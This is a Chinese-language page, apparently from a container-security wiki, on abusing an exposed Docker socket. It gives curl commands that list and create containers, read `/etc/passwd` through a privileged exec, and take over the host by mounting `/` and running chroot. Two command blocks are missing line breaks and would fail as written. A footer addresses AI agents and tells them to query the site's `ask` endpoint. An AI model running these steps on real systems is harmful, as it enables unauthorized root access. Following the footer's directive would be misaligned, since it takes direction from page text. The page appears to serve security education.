# 暴露的Docker Socket

Docker守护进程可以通过三种不同类型的套接字监听[Docker引擎API](https://docs.docker.com/engine/api/)请求：

* `unix`
* `tcp`
* `fd`

默认情况下，Docker通过非网络UNIX套接字运行，该套接字创建在`/var/run/docker.sock`，需要root权限或docker组成员资格。

{% hint style="info" %}
此外，请注意其他高级运行时的运行时套接字：

* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
  {% endhint %}

`tcp`套接字用于远程访问Docker守护进程，默认设置提供未加密和未认证的直接访问。通常使用端口**2375**进行未加密通信，使用端口**2376**进行与守护进程的加密通信。

在基于Systemd的系统上，与Docker守护进程的通信可以通过Systemd套接字`fd://`进行。

有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。

## 列出所有容器

使用`curl`命令通过`unix`套接字列出主机上的所有容器。

```bash
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
```

使用`curl`命令通过`tcp`套接字列出主机上的所有容器。

```bash
$ curl -s http://<host>:<port>/containers/json
```

## 创建容器

使用`curl`命令通过`unix`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    --unix-socket /var/run/docker.sock \
    "http:/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

使用`curl`命令通过`tcp`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

## 启动容器

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
    -X POST \
    -H "Content-Type: application/json" 
```

## 在容器中执行代码

首先需要创建一个将在容器中运行的`exec`实例。

```bash
$ curl \
    -s \
    "http://<host>:<port>/containers/<container_id>/exec" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

HTTP/1.1 201 Created
...

{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
```

现在`exec`已经创建，您需要运行它。

```bash
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
    -s \
    "http://<host>:<port>/exec/${EXEC_ID}/start"
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"Detach": false,"Tty": false}' \

HTTP/1.1 200 OK
...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

## 主机接管

要在主机系统上执行命令，启动Docker容器并将主机根目录挂载到容器卷上。

1. 下载ubuntu镜像。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
       -X POST \
       -H 'Content-Type: application/json'
   ```
2. 创建容器。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/containers/create"
       -X POST \
       -H "Content-Type: application/json" \
       -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
   ```
3. 启动容器。
4. 为了在主机系统上执行命令，更改根目录。

   ```bash
   $ chroot /hostfs
   ```

## 参考资料

* [技术分析：通过未认证的Docker远程API获得Microsoft Dynamics容器沙箱RCE，20000美元奖金](https://hencohen10.medium.com/microsoft-dynamics-container-sandbox-rce-via-unauthenticated-docker-remote-api-20-000-bounty-7f726340a93b)
* [技术分析：逃逸Cloud Shell容器](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/)
* [Quarkslab博客：为什么暴露Docker Socket是个非常糟糕的主意？](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/rong-qi-an-quan/tao-yi-ji-shu/exposed-docker-socket.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
